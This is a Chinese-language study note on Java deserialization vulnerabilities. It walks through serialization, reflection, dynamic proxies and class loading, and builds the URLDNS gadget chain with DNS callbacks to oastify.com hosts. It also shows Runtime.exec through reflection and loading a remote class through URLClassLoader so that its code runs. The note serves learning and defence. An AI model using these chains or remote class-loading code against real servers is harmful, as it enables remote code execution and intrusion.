在Java中,序列化(Serialization)是将对象转换为字节流,从而可以方便地保存到文件、传输到网络或持久化存储;反序列化(Deserialization)则是将字节流重新还原为对象。

注意:如果一个类要支持序列化,必须实现 java.io.Serializable 接口。

序列化与反序列化示例

下面通过一个简单的 Student 类,演示对象的序列化与反序列化过程。

Student类(实现了Serializable接口)

Serializable 接口是java提供的一个序列化接口,它用来标识当前类可以被ObjectOutputStream序列化,以及可以被ObjectInputStream反序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import java.io.Serializable;

public class Student implements Serializable {
private String name;
private int age;
private String studentId;

public Student(String name, int age, String studentId) {
this.name = name;
this.age = age;
this.studentId = studentId;
}

@Override
public String toString() {
return "Student{" +
"name='" + name + '\'' +
", age=" + age +
", studentId='" + studentId + '\'' +
'}';
}
}

序列化工具类

ObjectOutputStream代表对象输出流,它的writeObject(Object obj)方法可对参数指定的obj对象进行序列化,把得到的字节序列写到一个目标输出流中。

1
2
3
4
5
6
7
8
9
10
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class SerializationTest {
public static void serialize(Object object) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.ser"));
oos.writeObject(object);
}
}

反序列化工具类

ObjectInputStream代表对象输入流,它的readObject()方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。

1
2
3
4
5
6
7
8
9
10
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnserializationTest {
public static Object unserialize(String filePath) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filePath));
return ois.readObject();
}
}

Main 测试类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.io.IOException;

public class Main {
public static void main(String[] args) throws IOException, ClassNotFoundException {
Student stu = new Student("John Doe", 20, "S12345");

// 序列化
SerializationTest.serialize(stu);

// 反序列化
System.out.println(UnserializationTest.unserialize("object.ser"));
// 输出结果:Student{name='John Doe', age=20, studentId='S12345'}
}
}

程序执行后,会在项目目录下生成一个 object.ser 文件(存储的是 Student 对象的字节流)。

反序列化后,会恢复成对象并打印Student类中toString定义的数据格式。

不可序列化的内容

  1. 静态成员变量是不能被序列化的。静态字段是属于类本身(Class)的,而不是某个对象的状态。序列化是保存对象的实例字段,所以静态字段不会写进字节流。

例如以上的例子,对Student类进行修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import java.io.Serializable;

public class Student implements Serializable {
private String name;
private int age;
private String studentId;

// 静态字段(不会被序列化)
public static String school = "AAA";

public Student(String name, int age, String studentId) {
this.name = name;
this.age = age;
this.studentId = studentId;
}

@Override
public String toString() {
return "Student{" +
"name='" + name + '\'' +
", age=" + age +
", studentId='" + studentId + '\'' +
", school='" + school + '\'' +
'}';
}
}

此时再执行,并且中途在反序列化之前修改该静态成员变量,发现静态不会被序列化保存,反序列化时使用的是当前类中的静态值”New School”,而不是序列化时的”AAA”:

1
2
3
4
5
6
7
8
9
10
11
12
import java.io.IOException;

public class Main {
public static void main(String[] args) throws IOException, ClassNotFoundException {
Student stu = new Student("John Doe", 20, "S12345");
SerializationTest.serialize(stu);

Student.school = "New School"; // 修改静态字段,不会被序列化保存,反序列化时使用的是当前类中的静态值
System.out.println(UnserializationTest.unserialize("object.ser"));
}
}
// 输出:Student{name='John Doe', age=20, studentId='S12345', school='New School'}
  1. transient 标识的对象成员变量不参与序列化。修改Student类中的name属性为transient标识,查看输出结果会发现该属性没有被序列化保存。

image-20250820012142422

此时的输出:

image-20250820012213340

为什么反序列化会出现安全问题

服务端接收并反序列化处理数据,就会自动执行类的readObject中的代码,此时攻击者就获得了在服务器上运行代码的能力。

攻击的过程

  • 前提条件:类继承Serializable。攻击链中涉及对象需要是可序列化的(Serializable 或 Externalizable),但即使你业务代码没写 Serializable,classpath 上很多 JDK 自带类 / 三方库类早就实现了,这就给攻击者准备了“gadget”。
  • 找到入口点。入口(source)可以理解为:程序里调用 ObjectInputStream.readObject()(或 Hessian/Kryo/Jackson/Fastjson 等框架的反序列化 API)的那行代码。也就是说应用的哪一行代码会去“还原对象”。这就是攻击的大门。只要这行代码能处理外部传进来的数据,就可能有问题。
  • 找到可被隐式回调的 Gadget。某些类在反序列化过程中会自动调用它的 readObject、readResolve、readExternal,或者集合在重建时会调用 hashCode/equals/compare,甚至日志里会触发 toString。可能这些gadget本身没问题,但一旦放进反序列化过程,就会自己执行一些函数。如果这些函数里调用了危险方法,就被攻击者利用了。
  • 拼出Gadget Chain。构造调用链条 gadget chain 通过相同名称、相同类型函数来执行。序列化协议驱动的固定回调 + 各类容器/工具在重建时的固有调用,让对象之间按状态耦合形成链式副作用。
  • 找到最终的危险行为点(Sink)。最后的“落点”,可以是命令执行(Runtime.exec)、EL/SPEL 表达式执行、任意文件写入、发起网络请求(SSRF)等。

总结解释: 找到能还原对象的大门(入口) + 利用现成的类做自动调用(积木) + 把积木拼成链条 + 最后引爆危险操作(目标)

示例—URLDNS链分析(前半段)

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

Gadget Chain:

  • HashMap.readObject()
    
  •   HashMap.putVal()
    
  •     HashMap.hash()
    
  •       URL.hashCode()
    

入口点:

HashMap类可序列化

image-20250821162942994

HashMap类中的readObject方法,最后对传入的输入流调用了hash方法

image-20250821162650133

继续跟踪hash方法,可以发现其中调用了hashCode方法

image-20250821162721926

URL类,发现其是继承了可序列化的接口的:

image-20250821124742472

URL中通常发起请求用的是URL的openConnection()方法,但是openConnection这个函数名并不是很通用,可能无法帮助我们构造chain,因此可以找一个较为常见的名称的函数,就找到了URL中的hashCode:

image-20250821125001145

其中又调用了URL的协议处理器handler的hashCode,handler是URLStreamHandler类,可以发现,其中对可控的参数URL u执行了getHostAddress,可以理解为进行了一次DNS的域名解析过程:

image-20250821162110425

此时就可以和先前HashMap类中的hashCode方法串联起来,如果此时HashMap.hashCode中的参数传入的是URL的类,那么就可以构造出链调用到URL类中的getHostAddress方法,触发DNS解析。

根据以上的思路,可以编写一个序列化过程:

1
2
3
4
5
6
7
8
public class Main {
public static void main(String[] args) throws IOException, ClassNotFoundException {
HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
hashMap.put(new URL("http://r80ati14fh6yphobkjcwzyt87zdq1ip7.oastify.com"), 1);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("hashMap.ser"));
oos.writeObject(hashMap);
}
}

然后序列化过程中会发现,此时我的url也接收到了DNS请求,这是因为在执行到了HashMap的put方法时,也调用了hashCode

image-20250821164445605

那么再来反序列化:

1
2
3
4
5
6
public class Main {
public static void main(String[] args) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("hashMap.ser"));
ois.readObject();
}
}

奇怪的是,此时进行反序列化时,反而没有触发DNS请求。经分析,这是因为hashCode的逻辑,当URL类中有个属性hashCode,他的初始值为-1,在hashCode方法中的逻辑,当hashCode为-1时,会直接返回

image-20250821164703054

而在序列化时,执行了put方法后,就改变了hashCode的值,因此此处没有正常执行hashCode。

那么如何解决呢?我们就是希望进行序列化时,不要发起请求,并且希望hashCode属性的值不要被改变,为了实现hashCode属性的值,也就意味着,需要在序列化了以后,改变序列化数据里的属性的值,就需要通过反射来改变已有对象的属性。

Java反射

反射可以在运行时动态的创建实例对象,也就是只有在程序运行时才知道要操作的类是什么,并且可以在运行时获取类的完整结构,并调用对应的方法。

例如引用一个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public class Apple {

private int price;

public int getPrice() {
return price;
}

public void setPrice(int price) {
this.price = price;
}

public static void main(String[] args) throws Exception{
//正常的调用
Apple apple = new Apple();
apple.setPrice(5);
System.out.println("Apple Price:" + apple.getPrice());
//使用反射调用
Class clz = Class.forName("com.chenshuyi.api.Apple");
Method setPriceMethod = clz.getMethod("setPrice", int.class);
Constructor appleConstructor = clz.getConstructor();
Object appleObj = appleConstructor.newInstance();
setPriceMethod.invoke(appleObj, 14);
Method getPriceMethod = clz.getMethod("getPrice");
System.out.println("Apple Price:" + getPriceMethod.invoke(appleObj));
}
}
// 输出:
// Apple Price:5
// Apple Price:14

以上使用反射调用了setPrice方法,并传递了14这个值。之后使用反射调用了getPrice方法输出价格。

反射的作用

  1. 让java更具有动态性。反射允许在运行时查看和操作类的信息,而不是在编译时就固定。
  2. 可修改已有对象的属性。反射可以访问和修改对象的字段(包括 private 字段),即使正常情况下不可见。
  3. 动态生成对象。可以通过 Class.newInstance()Constructor.newInstance() 在运行时动态创建实例。
  4. 动态调用方法。可以通过 Method.invoke() 调用方法,包括私有方法。
  5. 操作内部类和私有方法。只要 setAccessible(true),反射就能突破 Java 的访问控制机制。

反射在反序列化漏洞中的应用

  1. 定制需要的对象。反射常被利用来 在 Gadget 链中调用构造函数 / 工厂方法 / setter,从而构造出攻击需要的对象。
  2. 通过invoke调用除了同名函数以外的函数。在漏洞利用中,invoke 的核心作用是执行任意方法,包括那些原本不会被调用的方法。
  3. 通过Class类创建对象,引入不能序列化的类。可以利用反射机制间接操作一些类的功能,即使这些类本身不可序列化。

反射示例

Student类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class Student implements Serializable {
public String name;
private int age;
private String studentId;

// 静态字段(不会被序列化)
public static String school = "AAA";

public Student() {

}

public Student(String name, int age, String studentId) {
this.name = name;
this.age = age;
this.studentId = studentId;
}

@Override
public String toString() {
return "Student{" +
"name='" + name + '\'' +
", age=" + age +
", studentId='" + studentId + '\'' +
", school='" + school + '\'' +
'}';
}

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.defaultReadObject();
Runtime.getRuntime().exec("echo 'Deserialization in progress'"); // 模拟反序列化时的操作
}

public void action(String action) {
System.out.println("Student " + name + " is performing action: " + action);
}
}

ReflectionTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

/**
* 反射示例:通过反射操作类的构造方法、属性和方法
*/
public class Reflectiontest {
public static void main(String[] args) throws InstantiationException,
IllegalAccessException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException {

// 1. 获取 Class 对象(反射的核心入口)
Student student = new Student();
Class c = student.getClass();

// ================== 构造方法 ==================
// 2. 使用无参构造函数实例化对象
c.newInstance();

// 3. 使用有参构造函数实例化对象
Constructor constructor = c.getConstructor(String.class, int.class, String.class); // 获取指定参数的构造函数
Student s = (Student) constructor.newInstance("John Doe", 20, "S12345"); // 调用构造函数生成对象
System.out.println(s);

// ================== 属性操作 ==================
// 4. 获取类中的所有字段(包括 private / protected / public)
Field[] studentFields = c.getDeclaredFields();
for (Field field : studentFields) {
System.out.println(field);
}

// 5. 操作公共字段
Field nameFiled = c.getField("name"); // 获取指定的公共字段
nameFiled.set(s, "Johnny"); // 给对象 s 的 name 属性赋值
System.out.println(s);

// 6. 操作私有字段
Field ageFiled = c.getDeclaredField("age"); // 获取指定的私有字段
ageFiled.setAccessible(true); // 打破封装,设置为可访问
ageFiled.set(s, 22); // 给对象 s 的 age 属性赋值
System.out.println(s);

// ================== 方法操作 ==================
// 7. 获取类中的所有公共方法(包括继承的)
Method[] studentMethods = c.getMethods();
for (Method method : studentMethods) {
System.out.println(method);
}

// 8. 调用指定方法
Method actionMethod = c.getMethod("action", String.class); // 获取指定的方法
actionMethod.invoke(s, "run"); // 调用方法,相当于 s.action("run")
}
}

利用反射进行命令执行

1
2
3
4
5
6
7
8
9
10
11
12
import java.lang.reflect.Method;

public class ExecViaReflect {
public static void main(String[] args) throws Exception {
Class c = Class.forName("java.lang.Runtime");
Object o = c.newInstance(); // 通过newInstance方法实例花对象
Method m = c.getDeclaredMethod("exec", String.class); // 获取exec方法
m.setAccessible(true); // 设置为可访问
m.invoke(o, "open -a Calculator"); // 调用exec方法,执行命令,打开计算器
}
}

示例—URLDNS链分析(后半段)

之前我们出现了执行put时就会导致发起DNS请求的情况,还有反序列化时由于hashCode属性不为默认值,不会正常执行hashCode方法的情况。通过一下思路,在执行put之前,修改hashCode不是默认值,在进行序列化前再将其修改回-1,思路如下:

1
2
3
4
5
6
7
8
9
10
11
public class Main {
public static void main(String[] args) throws IOException, ClassNotFoundException {

HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
// 希望在这里执行put时,hashCode不是-1,进而不执行hashCode方法
hashMap.put(new URL("http://r80ati14fh6yphobkjcwzyt87zdq1ip7.oastify.com"), 1);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("hashMap.ser"));
// 希望在此处把hashCode变回-1
oos.writeObject(hashMap);
}
}

以下是具体实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class Main {
public static void main(String[] args) throws IOException, ClassNotFoundException,
NoSuchFieldException, IllegalAccessException {

HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
// 希望在这里执行put时,hashCode不是-1,进而不执行hashCode方法
URL url = new URL("http://dizw34bqp3gkz3yxu5mi9k3uhlncb9zy.oastify.com");
Class c = url.getClass();
Field hashcodeFile = c.getDeclaredField("hashCode");
hashcodeFile.setAccessible(true); // 设置为可访问
hashcodeFile.set(url, 1);
hashMap.put(url, 1);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("hashMap.ser"));
// 希望在此处把hashCode变回-1
hashcodeFile.set(url, -1);
oos.writeObject(hashMap);

ObjectInputStream ois = new ObjectInputStream(new FileInputStream("hashMap.ser"));
ois.readObject();
}
}
// 通过以上写法,则只有进行反序列化时才执行了DNS解析

也就是说,此时如果 HashMap 的参数位置是我们可控的,我们就可以主动构造一个恶意的 HashMap<URL, ?> 对象,并把其中的 URL 设置成我们控制的域名(例如 http://xxxx.oastify.com)。当这个 HashMap 被反序列化时,HashMap.readObject() 内部会触发对 key 的 hashCode() 调用,而 URL.hashCode() 又会引发一次 DNS 解析,从而让目标服务器对我们指定的域名发起请求。

这个行为本身并不会直接导致 RCE,但它证明了反序列化过程确实发生了,并且我们能够控制反序列化对象链的执行。接下来,只要在目标环境中存在可用的 gadget(例如 CommonsCollections、Spring、Groovy 等常见库),我们就可以将 URLDNS 这种“探针链”替换为真正能执行命令的利用链,从而升级为远程代码执行漏洞。

JDK动态代理

代理模式:为其他对象提供一种代理以控制这个对象的访问。

JDK静态代理

JDK 的静态代理,本质上就是 接口 + 实现类 + 代理类 的一种应用模式。它跟“接口与接口实现类的关系”是强绑定的。

静态代理的定义

  • 代理模式的核心思想是:不直接访问目标对象,而是通过代理对象来间接访问
  • JDK 的静态代理必须依赖 接口,代理类和真实实现类都实现同一个接口。

示例

接口:

1
2
3
public interface UserService {
void addUser(String name);
}

真实实现类:

1
2
3
4
5
6
public class UserServiceImpl implements UserService {
@Override
public void addUser(String name) {
System.out.println("新增用户:" + name);
}
}

代理类(静态代理):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class UserServiceProxy implements UserService {
private UserService target; // 持有目标对象

public UserServiceProxy(UserService target) {
this.target = target;
}

@Override
public void addUser(String name) {
System.out.println("日志:准备新增用户...");
target.addUser(name); // 调用真实对象的方法
System.out.println("日志:新增用户完毕。");
}
}

输出结果:

1
2
3
日志:准备新增用户...
新增用户:Alice
日志:新增用户完毕。

和“接口实现类”的关系

  • 接口(UserService):规范。
  • 实现类(UserServiceImpl):真实逻辑。
  • 代理类(UserServiceProxy):也实现接口,但在调用真实逻辑前后加了额外的功能(日志、权限校验、事务控制等)。

以上就是JDK的静态代理的概念,可以看出,静态代理的一个缺陷就是,如果接口变了,那么代理中的内容也需要跟着变。如果需要实现的需求是比较重复的情况,代码量就会增大。但是动态代理就可以改进。

JDK动态代理

动态代理的代理类在运行时通过Proxy.newProxyInstance动态生成,不用手写代理类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

// 接口
public interface UserService {
void addUser(String name);
}

// 真实实现类
public class UserServiceImpl implements UserService {
@Override
public void addUser(String name) {
System.out.println("新增用户:" + name);
}
}

// 动态代理调用处理器
class UserServiceHandler implements InvocationHandler {
private Object target;

public UserServiceHandler(Object target) {
this.target = target;
}

@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("日志:准备执行 " + method.getName());
Object result = method.invoke(target, args);
System.out.println("日志:" + method.getName() + " 执行完毕");
return result;
}
}

// 测试
public class Main {
public static void main(String[] args) {
UserService target = new UserServiceImpl();

// 动态代理:运行时生成代理对象
UserService proxy = (UserService) Proxy.newProxyInstance(
target.getClass().getClassLoader(),
target.getClass().getInterfaces(),
new UserServiceHandler(target)
);

proxy.addUser("Bob");
}
}

可以看出,动态代理不需要单独的写代理类,而是在运行时通过Proxy.newProxyInstance生成代理类。而且,在动态动态代理调用处理器中可以看出,不需要提前就将需要执行的方法写死,而是通过invoke动态调用需要的方法。

动态代理在反序列化漏洞中有什么好处—场景示例

已知入口:

1
A.entry(O) -> O.abc()

已知执行目的:

1
B.f()

如果 O 是一个普通实现类,那就只能执行 abc() 方法,根本触发不到我们目标的 B.f()。但是如果 O 是一个动态代理对象,那 O.abc() 一定会走到它的 invoke() 方法。而如果当这个 invoke() 的代码里,包含了对 f() 的调用(比如某个 gadget 的 InvocationHandler 在 invoke 中调用了 B.f()),那么当 A 去调用 O.abc() 时,实际上执行的路径是:

1
2
3
A.entry(O) -> O.abc() 
-> Proxy.invoke()
-> 在 invoke 内部直接调用 B.f()

类的动态加载

以下是我修改的Student类,并写了一个demo展示不同阶段会触发的代码部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class Student implements Serializable {
public String name;
private int age;
private String studentId;

// 静态字段(不会被序列化)
public static String school = "AAA";

public Student() {
System.out.println("无参构造方法被调用");
}

{
System.out.println("构造代码块被调用");
}

static {
System.out.println("静态代码块被调用");
}

public static void staticAction() {
System.out.println("静态方法");
}

public Student(String name, int age, String studentId) {
this.name = name;
this.age = age;
this.studentId = studentId;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public class DynamicLoadTest {
public static void main(String[] args) throws Exception {

// 1. 不会触发类加载(只是拿到 Class 对象的引用)
Class<?> clazz1 = Student.class;
System.out.println("拿到 Class 对象(不会触发静态代码块)");
// 输出: 拿到 Class 对象(不会触发静态代码块)

// 2. 使用 Class.forName 会触发类加载(执行静态代码块)
Class<?> clazz2 = Class.forName("Student");
System.out.println("使用 Class.forName 触发类加载(静态代码块已执行)");
// 输出: 静态代码块被调用
// 输出: 使用 Class.forName 触发类加载(静态代码块已执行)

// 3. 调用类的静态方法,不会触发构造方法
Student.staticAction();
System.out.println("调用静态方法(不会调用构造方法)");
// 输出: 静态方法
// 输出: 调用静态方法(不会调用构造方法)

// 4. 通过 newInstance() 创建对象,会触发:
// - 构造代码块
// - 无参构造方法
Object obj = clazz2.getDeclaredConstructor().newInstance();
System.out.println("通过反射创建对象结束");
// 输出: 构造代码块被调用
// 输出: 无参构造方法被调用
// 输出: 通过反射创建对象结束

// 5. 直接 new 一个对象,也会走构造代码块 + 构造方法
Student s = new Student("John", 20, "S12345");
System.out.println("直接 new 一个对象结束");
// 输出: 构造代码块被调用
// 输出: 直接 new 一个对象结束
}
}

静态代码块 (static {})

  • 在类第一次被初始化时执行(例如 Class.forName(“Student”) 或第一次使用静态成员)。
  • 只执行一次。

静态字段 (public static String school = “AAA”;)

  • 跟随类初始化一起执行(和静态代码块同一阶段)。
  • 静态字段的赋值只会发生一次。

构造代码块 ({})

  • 每次创建对象时都会执行(不管是 new Student() 还是反射 newInstance())。
  • 先于构造方法执行。

静态方法 (staticAction())

  • 只有在显式调用时才会执行。
  • 调用前类必须已经初始化(即静态代码块已经执行过)。

类加载的底层原理

主要有用的的几个类

  • ClassLoader:抽象基类,定义了 loadClass() / findClass() / defineClass()。
  • SecureClassLoader:ClassLoader 的子类,增加了安全域检查。
  • URLClassLoader:能从指定 URL(本地/网络 JAR、目录)加载类。
  • AppClassLoader:URLClassLoader 的子类,负责加载应用的 classpath 下的类。

1. 类加载的几个阶段

  • 加载(Loading)
    • 通过类的全限定名(如 com.example.Student)找到 .class 字节码,并读入内存。
    • 由 ClassLoader 来完成。
  • 连接(Linking)
    • 验证(字节码是否合法、安全性检查)
    • 准备(为静态变量分配内存,赋默认值)
    • 解析(符号引用替换为直接引用)
  • 初始化(Initialization)
    • 执行静态代码块、静态字段赋值。

2. ClassLoader 体系

Java 默认的类加载器层次(由下到上,每个类加载器会先委托父类加载器):

  • BootstrapClassLoader
    • 用 C/C++ 实现,加载核心类库(rt.jar / java.base 模块)。
  • ExtClassLoader(扩展类加载器)
    • 加载 JAVA_HOME/lib/ext/ 或 -Djava.ext.dirs 下的类。
  • AppClassLoader(应用类加载器)
    • 加载用户类路径(classpath)下的类。
  • 自定义 ClassLoader(继承 ClassLoader)
    • 可以通过覆盖 findClass() 实现自己的逻辑(比如从网络/数据库加载字节码)。

3. 关键方法

  • loadClass(String name, boolean resolve)
    • 双亲委派机制入口:先让父加载器尝试加载,如果失败再自己找。
  • findClass(String name)
    • 子类需要重写的方法,用来告诉 JVM 如何根据类名找到字节码。
  • defineClass(String name, byte[] b, int off, int len)
    • 把字节码转换成 JVM 能识别的 Class<?> 对象。

流程大概是:

1
2
3
4
5
AppClassLoader.loadClass()
-> 父加载器 (ExtClassLoader.loadClass())
-> 父加载器 (BootstrapClassLoader)
-> 如果都找不到,回到当前 ClassLoader.findClass()
-> defineClass(字节码转 Class 对象)

4. 类加载流程图

1
2
3
4
ClassLoader.loadClass()
└──> 先委托 parent.loadClass()
└──> 如果父加载器失败 -> 调用 findClass()
└──> findClass() -> defineClass(byte[]) -> JVM 内存里生成 Class<?> 对象

类加载流程:AppClassLoader → URLClassLoader → SecureClassLoader → ClassLoader → findClass() → defineClass()

漏洞利用过程可以用到什么

根据类的加载流程,其中有什么是我们可以利用的?

URLClassLoader任意类加载

URLClassLoader可以根据一个URL远程加载类,可以做到任意类加载的操作。

例如我有一个类Test,会执行打开计算器的操作

1
2
3
4
5
6
7
8
9
10
11
import java.io.IOException;

public class Test {
static {
try {
Runtime.getRuntime().exec("open -a Calculator");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

那么,利用URLClassLoader即可远程加载一个类:

1
2
3
4
5
6
7
8
9
10
11
12
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class LoadClassTest {
public static void main(String[] args) throws Exception {

URLClassLoader urlClassLoader = new URLClassLoader(new URL[] {new URL("http://xxx.xxx.xxx.xxx/Test.class")});
Class<?> clazz = urlClassLoader.loadClass("Test");
clazz.newInstance();
}
}

成功执行后,就会执行打开计算器。

所以说,如果我们能控制到URLClassLoader,就可以通过远程引入任意的类,调用任意的方法。

此处能使用的协议:file/http/jar

defineClass调用任意类

defineClass是一个protected权限的方法,因此需要反射调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public class LoadClassTest {
public static void main(String[] args) throws Exception {

// 1. 获取系统类加载器(AppClassLoader),我们要通过它来“注入”新类
ClassLoader cl = ClassLoader.getSystemClassLoader();

// 2. 通过反射获取 ClassLoader 中的 defineClass 方法
// 参数说明:
// String.class —— 类的全限定名
// byte[].class —— 类字节码数组
// int.class —— 起始偏移量
// int.class —— 字节码长度
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",
String.class, byte[].class, int.class, int.class);

// 3. 设置为可访问(注意:JDK 9+ 默认禁止,需要 --add-opens 参数)
defineClassMethod.setAccessible(true);

// 4. 读取 Test.class 的字节码到 byte[]
Path testPath = Path.of("Test.class");
byte[] code = Files.readAllBytes(testPath);

// 5. 通过反射调用 defineClass,把 Test.class 动态加载到 JVM
// 这里传入:
// "Test" —— 类名
// code —— 字节码数组
// 0 —— 起始位置
// code.length —— 字节码长度
defineClassMethod.invoke(cl, "Test", code, 0, code.length);

// - 这个过程相当于在运行时动态向 JVM 注入一个类
// - 如果 Test.class 静态块中有恶意代码,会在类加载时立即执行
}
}

利用了defineClass动态加载字节码的特性,来加载了恶意类。

参考

https://www.bilibili.com/video/BV16h411z7o9?spm_id_from=333.788.top_right_bar_window_custom_collection.content.click

https://blog.csdn.net/mocas_wang/article/details/107621010

https://www.cnblogs.com/chanshuyi/p/head_first_of_reflection.html

https://www.cnblogs.com/novwind/p/17473445.html